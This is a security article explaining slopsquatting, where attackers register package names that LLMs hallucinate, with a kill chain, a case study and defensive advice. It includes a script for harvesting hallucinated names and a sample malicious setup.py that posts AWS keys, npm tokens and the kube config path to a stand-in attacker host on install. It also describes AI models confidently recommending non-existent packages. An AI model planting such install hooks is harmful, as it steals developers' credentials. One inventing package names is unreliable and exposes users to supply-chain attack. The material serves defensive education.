Slopsquatting: How AI Hallucinations Are Weaponizing the Software Supply Chain
The promise of AI-assisted development is undeniable: write a prompt, get a function. We have transitioned from the era of âcopy-pasting from StackOverflowâ to âcopy-pasting from LLM promptsâ at a velocity that traditional security reviews simply cannot match. While this shift has supercharged productivity, it has introduced a subtle, systemic vulnerability that attackers are beginning to weaponize with surgical precision. This is the era of Slopsquatting.
Slopsquatting is a specialized form of supply chain attack that exploits Large Language Model (LLM) hallucinations. Unlike traditional typosquatting, which relies on a developer making a manual typing error (e.g., typing gogle.com instead of google.com), slopsquatting targets the non-existent package names that AI models confidently invent. When a developer asks an LLM for a library to perform a specific task, the model may suggest a package that sounds logicalâlike huggingface-cli or fastapi-auth-utilsâbut does not actually exist in the official registry.
The scale of this threat is alarming. Recent security research indicates that approximately 20% of packages suggested by popular code-generation models are hallucinations. For an attacker, these âghost packagesâ represent a predictable roadmap for malware delivery. By registering these specific names on registries like PyPI or npm, they can intercept the installation commands of thousands of developers who trust their AI assistants blindly. As we integrate AI deeper into our workflows, understanding the mechanics of slopsquatting is no longer optionalâit is a prerequisite for maintaining a secure software supply chain.
The Anatomy of a Hallucination: Why LLMs Invent Packages
To understand slopsquatting, we must first understand why LLMs lie. LLMs are not databases; they are probabilistic engines designed to predict the next most likely token in a sequence. When an LLM generates code, it isnât âsearchingâ for a library; it is constructing a string that satisfies the statistical patterns of its training data.
Probabilistic Prediction vs. Factual Verification
LLMs operate on a âbest-fitâ logic. If a model has seen thousands of Python CLI tools named with the suffix -cli, and it knows that Hugging Face is a popular platform, it will assign a high probability to the token string huggingface-cli when asked how to interact with the service via the terminal. The fact that the actual package is named huggingface-hub is a factual detail that the model may override in favor of a more âlogicalâ sounding name.
This is often referred to as the âLogical Naming Trap.â AI models prioritize naming conventions over registry reality. Because the models are trained on snapshots of data, they also struggle with the temporal gapâthey may suggest packages that were planned but never released, or packages that follow the naming scheme of a different ecosystem entirely.
Recurrent Hallucinations
The most dangerous aspect of these hallucinations is that they are not random. Because the weights of a model are static once trained, specific prompts will consistently yield the same non-existent names across different user sessions. This is known as a Recurrent Hallucination.
If a researcher asks GPT-4o or Claude 3.5 for a library to handle âadvanced JWT validation in FastAPI,â and the model suggests fastapi-jwt-secure, it is highly likely to suggest that same name to thousands of other developers asking similar questions. Attackers can exploit this determinism to identify high-value targets. By refining their own context engineering techniques, researchers have found they can âmapâ the hallucination landscape of a model before a single line of malware is even written.
The Slopsquatting Kill Chain
An attacker executing a slopsquatting campaign follows a structured âkill chainâ that automates the discovery and exploitation of AI errors.
1. Automated Discovery
The attacker begins by harvesting potential targets. Using LLM APIs (like OpenAI, Anthropic, or local Llama instances), they script thousands of prompts across various domains: data science, web development, cloud infrastructure, and cryptography.
# Conceptual script for discovering slopsquatting targets
import subprocess
import requests
prompts = [
"How do I use the official Hugging Face CLI?",
"What is the best library for AWS S3 encryption in Python?",
"How to implement OAuth2 in a Bun runtime environment?"
]
for prompt in prompts:
# 1. Get LLM response
ai_suggestion = call_llm_api(prompt)
# 2. Extract 'pip install' or 'npm install' commands
package_name = extract_package(ai_suggestion)
# 3. Check if the package exists on PyPI/npm
response = requests.get(f"https://pypi.org/pypi/{package_name}/json")
if response.status_code == 404:
print(f"Target Found: {package_name}")
2. Registration at Scale
Once a âghost packageâ is identified, the attacker registers it on the relevant registry (PyPI, npm, RubyGems). To avoid detection by basic automated scanners, they often populate the package with a plausible description, a legitimate-looking README, and perhaps even some functional code that mirrors what the LLM described. This increases the likelihood that a developer who installs the package wonât immediately realize something is wrong when the initial commands actually work.
3. Payload Delivery via Lifecycle Scripts
The true payload is usually hidden in lifecycle scripts. In the Python ecosystem, this is the setup.py file; in Node.js, it is the preinstall or postinstall hooks in package.json. These scripts execute automatically the moment a user runs pip install or npm install, often before the developer has even had a chance to import the library into their code.
Note: This execution happens with the privileges of the user running the command. If a developer is working in a local environment with broad permissions, or if a CI/CD runner is misconfigured, the impact can be catastrophic.
From âpip installâ to RCE: Technical Impact
The goal of a slopsquatting attack is rarely just to break a build; it is to gain a foothold. Once the malicious package is installed, the attacker can achieve Remote Code Execution (RCE) and begin lateral movement.
Environment Variable Exfiltration
For most modern developers, the local machine is a treasure trove of secrets. Attackers specifically target environment variables that provide access to cloud infrastructure or private package registries.
A malicious setup.py might look like this:
from setuptools import setup
import os
import requests
# Malicious exfiltration logic
def exfiltrate():
secrets = {
"AWS_KEY": os.getenv("AWS_ACCESS_KEY_ID"),
"AWS_SECRET": os.getenv("AWS_SECRET_ACCESS_KEY"),
"NPM_TOKEN": os.getenv("NPM_TOKEN"),
"KUBE_CONFIG": os.path.expanduser("~/.kube/config")
}
requests.post("https://attacker-c2-server.com/collect", json=secrets)
exfiltrate()
setup(
name="huggingface-cli",
version="1.0.0",
description="A hallucinated helper for Hugging Face",
# ... rest of setup ...
)
Lateral Movement in CI/CD
In automated environments, the impact is even more severe. If a developer commits AI-generated code containing a slopsquatted package to a repository, the CI/CD runner will pull that package during the build phase. If the runner has an IAM role attached to it, the attacker can use the stolen credentials to move laterally into the production environment. This is a critical concern as companies move toward global supply chains where infrastructure is increasingly software-defined.
Comparison: Slopsquatting vs. Traditional Attacks
| Feature | Typosquatting | Dependency Confusion | Slopsquatting |
|---|---|---|---|
| Trigger | Human typing error | Registry priority misconfig | AI Hallucination |
| Targeting | Popular existing packages | Internal private packages | Non-existent AI âghostsâ |
| Predictability | High (common typos) | Medium (requires internal info) | Very High (recurrent LLM output) |
| Payload Vector | Lifecycle scripts | Lifecycle scripts | Lifecycle scripts |
We have also seen a rise in sophisticated delivery mechanisms like SourTrade, where malware is assembled on the client-side using fragmented components to bypass static analysis. Slopsquatting provides the perfect entry point for such modular malware.
Case Study: The âhuggingface-cliâ Incident
In early 2024, security researchers conducted a controlled experiment to prove the viability of slopsquatting. They focused on the huggingface-cli package name, which was frequently hallucinated by models when asked for Hugging Face command-line instructions (the real package is huggingface-hub).
The researchers registered huggingface-cli on PyPI with a harmless script that merely logged when it was downloaded. The results were startling:
- Thousands of downloads were recorded within days.
- The downloads originated from a wide range of IP addresses, including those belonging to major tech corporations and research universities.
- Analysis showed that many users were running the install command directly after an AI interaction, as evidenced by the surrounding commands in their shell history (where available).
The PyPI security team responded by removing the package, but the incident highlighted a fundamental flaw in our current trust model. If an AI tells a developer to run a command, a significant percentage of developers will do so without verifying the packageâs existence or provenance. This âautomation biasââthe tendency to favor suggestions from automated systemsâis the psychological engine that makes slopsquatting so effective.
Defensive Engineering: Securing the Modern Stack
Protecting against slopsquatting requires a shift from âreactiveâ security to âdeterministicâ security. We must treat AI-generated code as untrusted input.
1. Lockfile Integrity and Hash Pinning
The most effective defense against any supply chain attack is the use of lockfiles (package-lock.json, poetry.lock, uv.lock). Lockfiles record the exact version and the cryptographic hash of every dependency.
When using modern installers like uv (for Python) or pnpm (for Node.js), ensure that you are pinning hashes. If an attacker manages to swap a package or if you accidentally add a hallucinated package, the hash verification will fail if the registry content changes or doesnât match the expected source.
2. Use Modern Installers
Traditional tools like pip and npm have historically been permissive with lifecycle scripts. Newer tools offer better isolation:
- uv 0.4+: Provides extremely fast, reproducible installs and encourages the use of virtual environments that limit the blast radius of a malicious package.
- pnpm: Uses a content-addressable filesystem, preventing packages from accessing files outside their own scope.
3. Automated Scanning and Cooldowns
Integrate tools like Dependabot or Snyk into your workflow. These tools can flag packages that were recently created or have low reputation scores. Implementing a default cooldown policy for new dependencies can prevent the âday-zeroâ installation of slopsquatted packages before the community has had time to flag them as malicious.
4. The âTrust but Verifyâ Workflow
Developers should adopt a specific workflow when dealing with AI-generated commands:
- Verify the Package: Before running
pip install [package], search for the package on the official registry. Check the download count and the creation date. - Sandbox AI Tests: Run AI-suggested code in a containerized environment (e.g., Docker or a DevPod) that lacks access to your host machineâs environment variables.
- Audit Lifecycle Scripts: Use flags like
--ignore-scripts(for npm) or avoid runningsetup.pydirectly to prevent immediate execution of untrusted code.
The Future: Registry Evolution and AI Safety
The rise of slopsquatting is forcing a re-evaluation of how package registries operate. We are moving toward an era where registries can no longer be âdumbâ file servers; they must become active participants in security.
One major shift is the upcoming release of pnpm 10, which aims to disable lifecycle scripts by default. This change would effectively neuter the primary delivery mechanism for slopsquatting, requiring developers to explicitly opt-in to running a packageâs installation scripts.
Furthermore, registries are exploring âhallucination filters.â By monitoring the volume of â404 Not Foundâ queries for specific package names, registries could identify names that are being frequently suggested by LLMs. They could then pre-emptively âsquatâ on these names themselves or flag any new registration of these names for manual human review.
As we look further ahead, the intersection of AI cryptanalysis and supply chain integrity will become paramount. We may see the development of âsigned AI outputs,â where an LLM provides a cryptographic proof that its suggested code only references verified, high-reputation packages.
Slopsquatting is a reminder that while AI can write code, it cannot take responsibility for it. The burden of verification remains with the human engineer. By understanding the probabilistic nature of LLMs and implementing rigorous defensive engineering, we can reap the benefits of AI productivity without surrendering the keys to our infrastructure.